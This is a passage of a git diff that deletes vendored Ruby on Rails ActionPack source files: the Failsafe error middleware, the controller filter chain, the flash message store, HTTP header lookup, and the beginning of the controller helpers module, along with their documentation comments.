-        @app = @@middleware.build(lambda { |env| self.dup._call(env) })
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/failsafe.rb b/vendor/rails/actionpack/lib/action_controller/failsafe.rb
deleted file mode 100644
index 42ec5702..00000000
--- a/vendor/rails/actionpack/lib/action_controller/failsafe.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require 'erb'
-
-module ActionController
-  # The Failsafe middleware is usually the top-most middleware in the Rack
-  # middleware chain. It returns the underlying middleware's response, but if
-  # the underlying middle raises an exception then Failsafe will log the
-  # exception into the Rails log file, and will attempt to return an error
-  # message response.
-  #
-  # Failsafe is a last resort for logging errors and for telling the HTTP
-  # client that something went wrong. Do not confuse this with the
-  # ActionController::Rescue module, which is responsible for catching
-  # exceptions at deeper levels. Unlike Failsafe, which is as simple as
-  # possible, Rescue provides features that allow developers to hook into
-  # the error handling logic, and can customize the error message response
-  # based on the HTTP client's IP.
-  class Failsafe
-    cattr_accessor :error_file_path
-    self.error_file_path = Rails.public_path if defined?(Rails.public_path)
-
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      @app.call(env)
-    rescue Exception => exception
-      # Reraise exception in test environment
-      if defined?(Rails) && Rails.env.test?
-        raise exception
-      else
-        failsafe_response(exception)
-      end
-    end
-
-    private
-      def failsafe_response(exception)
-        log_failsafe_exception(exception)
-        [500, {'Content-Type' => 'text/html'}, [failsafe_response_body]]
-      rescue Exception => failsafe_error # Logger or IO errors
-        $stderr.puts "Error during failsafe response: #{failsafe_error}"
-      end
-
-      def failsafe_response_body
-        error_template_path = "#{self.class.error_file_path}/500.html"
-        if File.exist?(error_template_path)
-          begin
-            result = render_template(error_template_path)
-          rescue Exception
-            result = nil
-          end
-        else
-          result = nil
-        end
-        if result.nil?
-          result = "<html><body><h1>500 Internal Server Error</h1>" <<
-            "If you are the administrator of this website, then please read this web " <<
-            "application's log file to find out what went wrong.</body></html>"
-        end
-        result
-      end
-      
-      # The default 500.html uses the h() method.
-      def h(text) # :nodoc:
-        ERB::Util.h(text)
-      end
-      
-      def render_template(filename)
-        ERB.new(File.read(filename)).result(binding)
-      end
-
-      def log_failsafe_exception(exception)
-        message = "/!\\ FAILSAFE /!\\  #{Time.now}\n  Status: 500 Internal Server Error\n"
-        message << "  #{exception}\n    #{exception.backtrace.join("\n    ")}" if exception
-        failsafe_logger.fatal(message)
-        failsafe_logger.flush if failsafe_logger.respond_to?(:flush)
-      end
-
-      def failsafe_logger
-        if defined?(Rails) && Rails.logger
-          Rails.logger
-        else
-          Logger.new($stderr)
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/filters.rb b/vendor/rails/actionpack/lib/action_controller/filters.rb
deleted file mode 100644
index 9022b8b2..00000000
--- a/vendor/rails/actionpack/lib/action_controller/filters.rb
+++ /dev/null
@@ -1,680 +0,0 @@
-module ActionController #:nodoc:
-  module Filters #:nodoc:
-    def self.included(base)
-      base.class_eval do
-        extend ClassMethods
-        include ActionController::Filters::InstanceMethods
-      end
-    end
-
-    class FilterChain < ActiveSupport::Callbacks::CallbackChain #:nodoc:
-      def append_filter_to_chain(filters, filter_type, &block)
-        pos = find_filter_append_position(filters, filter_type)
-        update_filter_chain(filters, filter_type, pos, &block)
-      end
-
-      def prepend_filter_to_chain(filters, filter_type, &block)
-        pos = find_filter_prepend_position(filters, filter_type)
-        update_filter_chain(filters, filter_type, pos, &block)
-      end
-
-      def create_filters(filters, filter_type, &block)
-        filters, conditions = extract_options(filters, &block)
-        filters.map! { |filter| find_or_create_filter(filter, filter_type, conditions) }
-        filters
-      end
-
-      def skip_filter_in_chain(*filters, &test)
-        filters, conditions = extract_options(filters)
-        filters.each do |filter|
-          if callback = find(filter) then delete(callback) end
-        end if conditions.empty?
-        update_filter_in_chain(filters, :skip => conditions, &test)
-      end
-
-      private
-        def update_filter_chain(filters, filter_type, pos, &block)
-          new_filters = create_filters(filters, filter_type, &block)
-          insert(pos, new_filters).flatten!
-        end
-
-        def find_filter_append_position(filters, filter_type)
-          # appending an after filter puts it at the end of the call chain
-          # before and around filters go before the first after filter in the chain
-          unless filter_type == :after
-            each_with_index do |f,i|
-              return i if f.after?
-            end
-          end
-          return -1
-        end
-
-        def find_filter_prepend_position(filters, filter_type)
-          # prepending a before or around filter puts it at the front of the call chain
-          # after filters go before the first after filter in the chain
-          if filter_type == :after
-            each_with_index do |f,i|
-              return i if f.after?
-            end
-            return -1
-          end
-          return 0
-        end
-
-        def find_or_create_filter(filter, filter_type, options = {})
-          update_filter_in_chain([filter], options)
-
-          if found_filter = find(filter) { |f| f.type == filter_type }
-            found_filter
-          else
-            filter_kind = case
-            when filter.respond_to?(:before) && filter_type == :before
-              :before
-            when filter.respond_to?(:after) && filter_type == :after
-              :after
-            else
-              :filter
-            end
-
-            case filter_type
-            when :before
-              BeforeFilter.new(filter_kind, filter, options)
-            when :after
-              AfterFilter.new(filter_kind, filter, options)
-            else
-              AroundFilter.new(filter_kind, filter, options)
-            end
-          end
-        end
-
-        def update_filter_in_chain(filters, options, &test)
-          filters.map! { |f| block_given? ? find(f, &test) : find(f) }
-          filters.compact!
-
-          map! do |filter|
-            if filters.include?(filter)
-              new_filter = filter.dup
-              new_filter.update_options!(options)
-              new_filter
-            else
-              filter
-            end
-          end
-        end
-    end
-
-    class Filter < ActiveSupport::Callbacks::Callback #:nodoc:
-      def initialize(kind, method, options = {})
-        super
-        update_options! options
-      end
-
-      # override these to return true in appropriate subclass
-      def before?
-        false
-      end
-
-      def after?
-        false
-      end
-
-      def around?
-        false
-      end
-
-      # Make sets of strings from :only/:except options
-      def update_options!(other)
-        if other
-          convert_only_and_except_options_to_sets_of_strings(other)
-          if other[:skip]
-            convert_only_and_except_options_to_sets_of_strings(other[:skip])
-          end
-        end
-
-        options.update(other)
-      end
-
-      private
-        def should_not_skip?(controller)
-          if options[:skip]
-            !included_in_action?(controller, options[:skip])
-          else
-            true
-          end
-        end
-
-        def included_in_action?(controller, options)
-          if options[:only]
-            options[:only].include?(controller.action_name)
-          elsif options[:except]
-            !options[:except].include?(controller.action_name)
-          else
-            true
-          end
-        end
-
-        def should_run_callback?(controller)
-          should_not_skip?(controller) && included_in_action?(controller, options) && super
-        end
-
-        def convert_only_and_except_options_to_sets_of_strings(opts)
-          [:only, :except].each do |key|
-            if values = opts[key]
-              opts[key] = Array(values).map(&:to_s).to_set
-            end
-          end
-        end
-    end
-
-    class AroundFilter < Filter #:nodoc:
-      def type
-        :around
-      end
-
-      def around?
-        true
-      end
-
-      def call(controller, &block)
-        if should_run_callback?(controller)
-          method = filter_responds_to_before_and_after? ? around_proc : self.method
-
-          # For around_filter do |controller, action|
-          if method.is_a?(Proc) && method.arity == 2
-            evaluate_method(method, controller, block)
-          else
-            evaluate_method(method, controller, &block)
-          end
-        else
-          block.call
-        end
-      end
-
-      private
-        def filter_responds_to_before_and_after?
-          method.respond_to?(:before) && method.respond_to?(:after)
-        end
-
-        def around_proc
-          Proc.new do |controller, action|
-            method.before(controller)
-
-            if controller.__send__(:performed?)
-              controller.__send__(:halt_filter_chain, method, :rendered_or_redirected)
-            else
-              begin
-                action.call
-              ensure
-                method.after(controller)
-              end
-            end
-          end
-        end
-    end
-
-    class BeforeFilter < Filter #:nodoc:
-      def type
-        :before
-      end
-
-      def before?
-        true
-      end
-
-      def call(controller, &block)
-        super
-        if controller.__send__(:performed?)
-          controller.__send__(:halt_filter_chain, method, :rendered_or_redirected)
-        end
-      end
-    end
-
-    class AfterFilter < Filter #:nodoc:
-      def type
-        :after
-      end
-
-      def after?
-        true
-      end
-    end
-
-    # Filters enable controllers to run shared pre- and post-processing code for its actions. These filters can be used to do
-    # authentication, caching, or auditing before the intended action is performed. Or to do localization or output
-    # compression after the action has been performed. Filters have access to the request, response, and all the instance
-    # variables set by other filters in the chain or by the action (in the case of after filters).
-    #
-    # == Filter inheritance
-    #
-    # Controller inheritance hierarchies share filters downwards, but subclasses can also add or skip filters without
-    # affecting the superclass. For example:
-    #
-    #   class BankController < ActionController::Base
-    #     before_filter :audit
-    #
-    #     private
-    #       def audit
-    #         # record the action and parameters in an audit log
-    #       end
-    #   end
-    #
-    #   class VaultController < BankController
-    #     before_filter :verify_credentials
-    #
-    #     private
-    #       def verify_credentials
-    #         # make sure the user is allowed into the vault
-    #       end
-    #   end
-    #
-    # Now any actions performed on the BankController will have the audit method called before. On the VaultController,
-    # first the audit method is called, then the verify_credentials method. If the audit method renders or redirects, then
-    # verify_credentials and the intended action are never called.
-    #
-    # == Filter types
-    #
-    # A filter can take one of three forms: method reference (symbol), external class, or inline method (proc). The first
-    # is the most common and works by referencing a protected or private method somewhere in the inheritance hierarchy of
-    # the controller by use of a symbol. In the bank example above, both BankController and VaultController use this form.
-    #
-    # Using an external class makes for more easily reused generic filters, such as output compression. External filter classes
-    # are implemented by having a static +filter+ method on any class and then passing this class to the filter method. Example:
-    #
-    #   class OutputCompressionFilter
-    #     def self.filter(controller)
-    #       controller.response.body = compress(controller.response.body)
-    #     end
-    #   end
-    #
-    #   class NewspaperController < ActionController::Base
-    #     after_filter OutputCompressionFilter
-    #   end
-    #
-    # The filter method is passed the controller instance and is hence granted access to all aspects of the controller and can
-    # manipulate them as it sees fit.
-    #
-    # The inline method (using a proc) can be used to quickly do something small that doesn't require a lot of explanation.
-    # Or just as a quick test. It works like this:
-    #
-    #   class WeblogController < ActionController::Base
-    #     before_filter { |controller| head(400) if controller.params["stop_action"] }
-    #   end
-    #
-    # As you can see, the block expects to be passed the controller after it has assigned the request to the internal variables.
-    # This means that the block has access to both the request and response objects complete with convenience methods for params,
-    # session, template, and assigns. Note: The inline method doesn't strictly have to be a block; any object that responds to call
-    # and returns 1 or -1 on arity will do (such as a Proc or an Method object).
-    #
-    # Please note that around_filters function a little differently than the normal before and after filters with regard to filter
-    # types. Please see the section dedicated to around_filters below.
-    #
-    # == Filter chain ordering
-    #
-    # Using <tt>before_filter</tt> and <tt>after_filter</tt> appends the specified filters to the existing chain. That's usually
-    # just fine, but some times you care more about the order in which the filters are executed. When that's the case, you
-    # can use <tt>prepend_before_filter</tt> and <tt>prepend_after_filter</tt>. Filters added by these methods will be put at the
-    # beginning of their respective chain and executed before the rest. For example:
-    #
-    #   class ShoppingController < ActionController::Base
-    #     before_filter :verify_open_shop
-    #
-    #   class CheckoutController < ShoppingController
-    #     prepend_before_filter :ensure_items_in_cart, :ensure_items_in_stock
-    #
-    # The filter chain for the CheckoutController is now <tt>:ensure_items_in_cart, :ensure_items_in_stock,</tt>
-    # <tt>:verify_open_shop</tt>. So if either of the ensure filters renders or redirects, we'll never get around to see if the shop
-    # is open or not.
-    #
-    # You may pass multiple filter arguments of each type as well as a filter block.
-    # If a block is given, it is treated as the last argument.
-    #
-    # == Around filters
-    #
-    # Around filters wrap an action, executing code both before and after.
-    # They may be declared as method references, blocks, or objects responding
-    # to +filter+ or to both +before+ and +after+.
-    #
-    # To use a method as an +around_filter+, pass a symbol naming the Ruby method.
-    # Yield (or <tt>block.call</tt>) within the method to run the action.
-    #
-    #   around_filter :catch_exceptions
-    #
-    #   private
-    #     def catch_exceptions
-    #       yield
-    #     rescue => exception
-    #       logger.debug "Caught exception! #{exception}"
-    #       raise
-    #     end
-    #
-    # To use a block as an +around_filter+, pass a block taking as args both
-    # the controller and the action block. You can't call yield directly from
-    # an +around_filter+ block; explicitly call the action block instead:
-    #
-    #   around_filter do |controller, action|
-    #     logger.debug "before #{controller.action_name}"
-    #     action.call
-    #     logger.debug "after #{controller.action_name}"
-    #   end
-    #
-    # To use a filter object with +around_filter+, pass an object responding
-    # to <tt>:filter</tt> or both <tt>:before</tt> and <tt>:after</tt>. With a
-    # filter method, yield to the block as above:
-    #
-    #   around_filter BenchmarkingFilter
-    #
-    #   class BenchmarkingFilter
-    #     def self.filter(controller, &block)
-    #       Benchmark.measure(&block)
-    #     end
-    #   end
-    #
-    # With +before+ and +after+ methods:
-    #
-    #   around_filter Authorizer.new
-    #
-    #   class Authorizer
-    #     # This will run before the action. Redirecting aborts the action.
-    #     def before(controller)
-    #       unless user.authorized?
-    #         redirect_to(login_url)
-    #       end
-    #     end
-    #
-    #     # This will run after the action if and only if before did not render or redirect.
-    #     def after(controller)
-    #     end
-    #   end
-    #
-    # If the filter has +before+ and +after+ methods, the +before+ method will be
-    # called before the action. If +before+ renders or redirects, the filter chain is
-    # halted and +after+ will not be run. See Filter Chain Halting below for
-    # an example.
-    #
-    # == Filter chain skipping
-    #
-    # Declaring a filter on a base class conveniently applies to its subclasses,
-    # but sometimes a subclass should skip some of its superclass' filters:
-    #
-    #   class ApplicationController < ActionController::Base
-    #     before_filter :authenticate
-    #     around_filter :catch_exceptions
-    #   end
-    #
-    #   class WeblogController < ApplicationController
-    #     # Will run the :authenticate and :catch_exceptions filters.
-    #   end
-    #
-    #   class SignupController < ApplicationController
-    #     # Skip :authenticate, run :catch_exceptions.
-    #     skip_before_filter :authenticate
-    #   end
-    #
-    #   class ProjectsController < ApplicationController
-    #     # Skip :catch_exceptions, run :authenticate.
-    #     skip_filter :catch_exceptions
-    #   end
-    #
-    #   class ClientsController < ApplicationController
-    #     # Skip :catch_exceptions and :authenticate unless action is index.
-    #     skip_filter :catch_exceptions, :authenticate, :except => :index
-    #   end
-    #
-    # == Filter conditions
-    #
-    # Filters may be limited to specific actions by declaring the actions to
-    # include or exclude. Both options accept single actions
-    # (<tt>:only => :index</tt>) or arrays of actions
-    # (<tt>:except => [:foo, :bar]</tt>).
-    #
-    #   class Journal < ActionController::Base
-    #     # Require authentication for edit and delete.
-    #     before_filter :authorize, :only => [:edit, :delete]
-    #
-    #     # Passing options to a filter with a block.
-    #     around_filter(:except => :index) do |controller, action_block|
-    #       results = Profiler.run(&action_block)
-    #       controller.response.sub! "</body>", "#{results}</body>"
-    #     end
-    #
-    #     private
-    #       def authorize
-    #         # Redirect to login unless authenticated.
-    #       end
-    #   end
-    #
-    # == Filter Chain Halting
-    #
-    # <tt>before_filter</tt> and <tt>around_filter</tt> may halt the request
-    # before a controller action is run. This is useful, for example, to deny
-    # access to unauthenticated users or to redirect from HTTP to HTTPS.
-    # Simply call render or redirect. After filters will not be executed if the filter 
-    # chain is halted.
-    #
-    # Around filters halt the request unless the action block is called.
-    # Given these filters
-    #   after_filter :after
-    #   around_filter :around
-    #   before_filter :before
-    #
-    # The filter chain will look like:
-    #
-    #   ...
-    #   . \
-    #   .  #around (code before yield)
-    #   .  .  \
-    #   .  .  #before (actual filter code is run)
-    #   .  .  .  \
-    #   .  .  .  execute controller action
-    #   .  .  .  /
-    #   .  .  ...
-    #   .  .  /
-    #   .  #around (code after yield)
-    #   . /
-    #   #after (actual filter code is run, unless the around filter does not yield)
-    #
-    # If +around+ returns before yielding, +after+ will still not be run. The +before+
-    # filter and controller action will not be run. If +before+ renders or redirects,
-    # the second half of +around+ and will still run but +after+ and the
-    # action will not. If +around+ fails to yield, +after+ will not be run.
-    module ClassMethods
-      # The passed <tt>filters</tt> will be appended to the filter_chain and
-      # will execute before the action on this controller is performed.
-      def append_before_filter(*filters, &block)
-        filter_chain.append_filter_to_chain(filters, :before, &block)
-      end
-
-      # The passed <tt>filters</tt> will be prepended to the filter_chain and
-      # will execute before the action on this controller is performed.
-      def prepend_before_filter(*filters, &block)
-        filter_chain.prepend_filter_to_chain(filters, :before, &block)
-      end
-
-      # Shorthand for append_before_filter since it's the most common.
-      alias :before_filter :append_before_filter
-
-      # The passed <tt>filters</tt> will be appended to the array of filters
-      # that run _after_ actions on this controller are performed.
-      def append_after_filter(*filters, &block)
-        filter_chain.append_filter_to_chain(filters, :after, &block)
-      end
-
-      # The passed <tt>filters</tt> will be prepended to the array of filters
-      # that run _after_ actions on this controller are performed.
-      def prepend_after_filter(*filters, &block)
-        filter_chain.prepend_filter_to_chain(filters, :after, &block)
-      end
-
-      # Shorthand for append_after_filter since it's the most common.
-      alias :after_filter :append_after_filter
-
-      # If you <tt>append_around_filter A.new, B.new</tt>, the filter chain looks like
-      #
-      #   B#before
-      #     A#before
-      #       # run the action
-      #     A#after
-      #   B#after
-      #
-      # With around filters which yield to the action block, +before+ and +after+
-      # are the code before and after the yield.
-      def append_around_filter(*filters, &block)
-        filter_chain.append_filter_to_chain(filters, :around, &block)
-      end
-
-      # If you <tt>prepend_around_filter A.new, B.new</tt>, the filter chain looks like:
-      #
-      #   A#before
-      #     B#before
-      #       # run the action
-      #     B#after
-      #   A#after
-      #
-      # With around filters which yield to the action block, +before+ and +after+
-      # are the code before and after the yield.
-      def prepend_around_filter(*filters, &block)
-        filter_chain.prepend_filter_to_chain(filters, :around, &block)
-      end
-
-      # Shorthand for +append_around_filter+ since it's the most common.
-      alias :around_filter :append_around_filter
-
-      # Removes the specified filters from the +before+ filter chain. Note that this only works for skipping method-reference
-      # filters, not procs. This is especially useful for managing the chain in inheritance hierarchies where only one out
-      # of many sub-controllers need a different hierarchy.
-      #
-      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
-      # just like when you apply the filters.
-      def skip_before_filter(*filters)
-        filter_chain.skip_filter_in_chain(*filters, &:before?)
-      end
-
-      # Removes the specified filters from the +after+ filter chain. Note that this only works for skipping method-reference
-      # filters, not procs. This is especially useful for managing the chain in inheritance hierarchies where only one out
-      # of many sub-controllers need a different hierarchy.
-      #
-      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
-      # just like when you apply the filters.
-      def skip_after_filter(*filters)
-        filter_chain.skip_filter_in_chain(*filters, &:after?)
-      end
-
-      # Removes the specified filters from the filter chain. This only works for method reference (symbol)
-      # filters, not procs. This method is different from skip_after_filter and skip_before_filter in that
-      # it will match any before, after or yielding around filter.
-      #
-      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
-      # just like when you apply the filters.
-      def skip_filter(*filters)
-        filter_chain.skip_filter_in_chain(*filters)
-      end
-
-      # Returns an array of Filter objects for this controller.
-      def filter_chain
-        if chain = read_inheritable_attribute('filter_chain')
-          return chain
-        else
-          write_inheritable_attribute('filter_chain', FilterChain.new)
-          return filter_chain
-        end
-      end
-
-      # Returns all the before filters for this class and all its ancestors.
-      # This method returns the actual filter that was assigned in the controller to maintain existing functionality.
-      def before_filters #:nodoc:
-        filter_chain.select(&:before?).map(&:method)
-      end
-
-      # Returns all the after filters for this class and all its ancestors.
-      # This method returns the actual filter that was assigned in the controller to maintain existing functionality.
-      def after_filters #:nodoc:
-        filter_chain.select(&:after?).map(&:method)
-      end
-    end
-
-    module InstanceMethods # :nodoc:
-      def self.included(base)
-        base.class_eval do
-          alias_method_chain :perform_action, :filters
-          alias_method_chain :process, :filters
-        end
-      end
-
-      protected
-        def process_with_filters(request, response, method = :perform_action, *arguments) #:nodoc:
-          @before_filter_chain_aborted = false
-          process_without_filters(request, response, method, *arguments)
-        end
-
-        def perform_action_with_filters
-          call_filters(self.class.filter_chain, 0, 0)
-        end
-
-      private
-        def call_filters(chain, index, nesting)
-          index = run_before_filters(chain, index, nesting)
-          aborted = @before_filter_chain_aborted
-          perform_action_without_filters unless performed? || aborted
-          return index if nesting != 0 || aborted
-          run_after_filters(chain, index)
-        end
-
-        def run_before_filters(chain, index, nesting)
-          while chain[index]
-            filter, index = chain[index], index
-            break unless filter # end of call chain reached
-
-            case filter
-            when BeforeFilter
-              filter.call(self)  # invoke before filter
-              index = index.next
-              break if @before_filter_chain_aborted
-            when AroundFilter
-              yielded = false
-
-              filter.call(self) do
-                yielded = true
-                # all remaining before and around filters will be run in this call
-                index = call_filters(chain, index.next, nesting.next)
-              end
-
-              halt_filter_chain(filter, :did_not_yield) unless yielded
-
-              break
-            else
-              break  # no before or around filters left
-            end
-          end
-
-          index
-        end
-
-        def run_after_filters(chain, index)
-          seen_after_filter = false
-
-          while chain[index]
-            filter, index = chain[index], index
-            break unless filter # end of call chain reached
-
-            case filter
-            when AfterFilter
-              seen_after_filter = true
-              filter.call(self)  # invoke after filter
-            else
-              # implementation error or someone has mucked with the filter chain
-              raise ActionControllerError, "filter #{filter.inspect} was in the wrong place!" if seen_after_filter
-            end
-
-            index = index.next
-          end
-
-          index.next
-        end
-
-        def halt_filter_chain(filter, reason)
-          @before_filter_chain_aborted = true
-          logger.info "Filter chain halted as [#{filter.inspect}] #{reason}." if logger
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/flash.rb b/vendor/rails/actionpack/lib/action_controller/flash.rb
deleted file mode 100644
index e15d0d80..00000000
--- a/vendor/rails/actionpack/lib/action_controller/flash.rb
+++ /dev/null
@@ -1,213 +0,0 @@
-module ActionController #:nodoc:
-  # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
-  # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
-  # action that sets <tt>flash[:notice] = "Successfully created"</tt> before redirecting to a display action that can
-  # then expose the flash to its template. Actually, that exposure is automatically done. Example:
-  #
-  #   class PostsController < ActionController::Base
-  #     def create
-  #       # save post
-  #       flash[:notice] = "Successfully created post"
-  #       redirect_to posts_path(@post)
-  #     end
-  #
-  #     def show
-  #       # doesn't need to assign the flash notice to the template, that's done automatically
-  #     end
-  #   end
-  #
-  #   show.html.erb
-  #     <% if flash[:notice] %>
-  #       <div class="notice"><%= flash[:notice] %></div>
-  #     <% end %>
-  #
-  # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
-  # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
-  #
-  # See docs on the FlashHash class for more details about the flash.
-  module Flash
-    def self.included(base)
-      base.class_eval do
-        include InstanceMethods
-
-        alias_method_chain :perform_action, :flash
-        alias_method_chain :reset_session,  :flash
-        alias_method_chain :redirect_to,    :flash
-
-        helper_method :alert
-        helper_method :notice
-      end
-    end
-
-    class FlashNow #:nodoc:
-      def initialize(flash)
-        @flash = flash
-      end
-
-      def []=(k, v)
-        @flash[k] = v
-        @flash.discard(k)
-        v
-      end
-
-      def [](k)
-        @flash[k]
-      end
-    end
-
-    class FlashHash < Hash
-      def initialize #:nodoc:
-        super
-        @used = {}
-      end
-
-      def []=(k, v) #:nodoc:
-        keep(k)
-        super
-      end
-
-      def update(h) #:nodoc:
-        h.keys.each { |k| keep(k) }
-        super
-      end
-
-      alias :merge! :update
-
-      def replace(h) #:nodoc:
-        @used = {}
-        super
-      end
-
-      # Sets a flash that will not be available to the next action, only to the current.
-      #
-      #     flash.now[:message] = "Hello current action"
-      #
-      # This method enables you to use the flash as a central messaging system in your app.
-      # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
-      # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
-      # vanish when the current action is done.
-      #
-      # Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
-      def now
-        FlashNow.new(self)
-      end
-
-      # Keeps either the entire current flash or a specific flash entry available for the next action:
-      #
-      #    flash.keep            # keeps the entire flash
-      #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
-      def keep(k = nil)
-        use(k, false)
-      end
-
-      # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
-      #
-      #     flash.discard              # discard the entire flash at the end of the current action
-      #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
-      def discard(k = nil)
-        use(k)
-      end
-
-      # Mark for removal entries that were kept, and delete unkept ones.
-      #
-      # This method is called automatically by filters, so you generally don't need to care about it.
-      def sweep #:nodoc:
-        keys.each do |k|
-          unless @used[k]
-            use(k)
-          else
-            delete(k)
-            @used.delete(k)
-          end
-        end
-
-        # clean up after keys that could have been left over by calling reject! or shift on the flash
-        (@used.keys - keys).each{ |k| @used.delete(k) }
-      end
-
-      def store(session, key = "flash")
-        return if self.empty?
-        session[key] = self
-      end
-
-      private
-        # Used internally by the <tt>keep</tt> and <tt>discard</tt> methods
-        #     use()               # marks the entire flash as used
-        #     use('msg')          # marks the "msg" entry as used
-        #     use(nil, false)     # marks the entire flash as unused (keeps it around for one more action)
-        #     use('msg', false)   # marks the "msg" entry as unused (keeps it around for one more action)
-        def use(k=nil, v=true)
-          unless k.nil?
-            @used[k] = v
-          else
-            keys.each{ |key| use(key, v) }
-          end
-        end
-    end
-
-    module InstanceMethods #:nodoc:
-      protected
-        def perform_action_with_flash
-          perform_action_without_flash
-          if defined? @_flash
-            @_flash.store(session)
-            remove_instance_variable(:@_flash)
-          end
-        end
-
-        def reset_session_with_flash
-          reset_session_without_flash
-          remove_instance_variable(:@_flash) if defined? @_flash
-        end
-
-        def redirect_to_with_flash(options = {}, response_status_and_flash = {}) #:doc:
-          if alert = response_status_and_flash.delete(:alert)
-            flash[:alert] = alert
-          end
-
-          if notice = response_status_and_flash.delete(:notice)
-            flash[:notice] = notice
-          end
-          
-          if other_flashes = response_status_and_flash.delete(:flash)
-            flash.update(other_flashes)
-          end
-          
-          redirect_to_without_flash(options, response_status_and_flash)
-        end
-
-        # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
-        # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
-        # to put a new one.
-        def flash #:doc:
-          if !defined?(@_flash)
-            @_flash = session["flash"] || FlashHash.new
-            @_flash.sweep
-          end
-
-          @_flash
-        end
-
-        
-        # Convenience accessor for flash[:alert]
-        def alert
-          flash[:alert]
-        end
-        
-        # Convenience accessor for flash[:alert]=
-        def alert=(message)
-          flash[:alert] = message
-        end
-
-        # Convenience accessor for flash[:notice]
-        def notice
-          flash[:notice]
-        end
-        
-        # Convenience accessor for flash[:notice]=
-        def notice=(message)
-          flash[:notice] = message
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/headers.rb b/vendor/rails/actionpack/lib/action_controller/headers.rb
deleted file mode 100644
index 139669c6..00000000
--- a/vendor/rails/actionpack/lib/action_controller/headers.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'active_support/memoizable'
-
-module ActionController
-  module Http
-    class Headers < ::Hash
-      extend ActiveSupport::Memoizable
-
-      def initialize(*args)
-         if args.size == 1 && args[0].is_a?(Hash)
-           super()
-           update(args[0])
-         else
-           super
-         end
-       end
-
-      def [](header_name)
-        if include?(header_name)
-          super
-        else
-          super(env_name(header_name))
-        end
-      end
-
-      private
-        # Converts a HTTP header name to an environment variable name.
-        def env_name(header_name)
-          "HTTP_#{header_name.upcase.gsub(/-/, '_')}"
-        end
-        memoize :env_name
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/helpers.rb b/vendor/rails/actionpack/lib/action_controller/helpers.rb
deleted file mode 100644
index ba65032f..00000000
--- a/vendor/rails/actionpack/lib/action_controller/helpers.rb
+++ /dev/null
@@ -1,225 +0,0 @@
-require 'active_support/dependencies'
-
-# FIXME: helper { ... } is broken on Ruby 1.9
-module ActionController #:nodoc:
-  module Helpers #:nodoc:
-    def self.included(base)
-      # Initialize the base module to aggregate its helpers.
-      base.class_inheritable_accessor :master_helper_module
-      base.master_helper_module = Module.new
-
-      # Set the default directory for helpers
-      base.class_inheritable_accessor :helpers_dir
-      base.helpers_dir = (defined?(RAILS_ROOT) ? "#{RAILS_ROOT}/app/helpers" : "app/helpers")
-
-      # Extend base with class methods to declare helpers.
-      base.extend(ClassMethods)
-
-      base.class_eval do
-        # Wrap inherited to create a new master helper module for subclasses.
-        class << self
-          alias_method_chain :inherited, :helper
-        end
-      end
-    end
-
-    # The Rails framework provides a large number of helpers for working with +assets+, +dates+, +forms+, 
-    # +numbers+ and Active Record objects, to name a few. These helpers are available to all templates
-    # by default.
-    #
-    # In addition to using the standard template helpers provided in the Rails framework, creating custom helpers to
-    # extract complicated logic or reusable functionality is strongly encouraged.  By default, the controller will 
-    # include a helper whose name matches that of the controller, e.g., <tt>MyController</tt> will automatically
-    # include <tt>MyHelper</tt>.
-    # 
-    # Additional helpers can be specified using the +helper+ class method in <tt>ActionController::Base</tt> or any
-    # controller which inherits from it.
-    #
-    # ==== Examples
-    # The +to_s+ method from the Time class can be wrapped in a helper method to display a custom message if 
-    # the Time object is blank:
-    #
-    #   module FormattedTimeHelper
-    #     def format_time(time, format=:long, blank_message="&nbsp;")
-    #       time.blank? ? blank_message : time.to_s(format)
-    #     end
-    #   end
-    #
-    # FormattedTimeHelper can now be included in a controller, using the +helper+ class method:
-    #
-    #   class EventsController < ActionController::Base
-    #     helper FormattedTimeHelper
-    #     def index
-    #       @events = Event.find(:all)
-    #     end
-    #   end
-    #
-    # Then, in any view rendered by <tt>EventController</tt>, the <tt>format_time</tt> method can be called:
-    #
-    #   <% @events.each do |event| -%>
-    #     <p>
-    #       <% format_time(event.time, :short, "N/A") %> | <%= event.name %> 
-    #     </p>
-    #   <% end -%>
-    #
-    # Finally, assuming we have two event instances, one which has a time and one which does not, 
-    # the output might look like this:
-    #
-    #   23 Aug 11:30 | Carolina Railhawks Soccer Match 
-    #   N/A | Carolina Railhaws Training Workshop
-    #
-    module ClassMethods
-      # Makes all the (instance) methods in the helper module available to templates rendered through this controller.
-      # See ActionView::Helpers (link:classes/ActionView/Helpers.html) for more about making your own helper modules
-      # available to the templates.
-      def add_template_helper(helper_module) #:nodoc:
-        master_helper_module.module_eval { include helper_module }
-      end
-
-      # The +helper+ class method can take a series of helper module names, a block, or both.
-      #
-      # * <tt>*args</tt>: One or more modules, strings or symbols, or the special symbol <tt>:all</tt>.
-      # * <tt>&block</tt>: A block defining helper methods.
-      # 
-      # ==== Examples
-      # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file 
-      # and include the module in the template class.  The second form illustrates how to include custom helpers 
-      # when working with namespaced controllers, or other cases where the file containing the helper definition is not
-      # in one of Rails' standard load paths:
-      #   helper :foo             # => requires 'foo_helper' and includes FooHelper
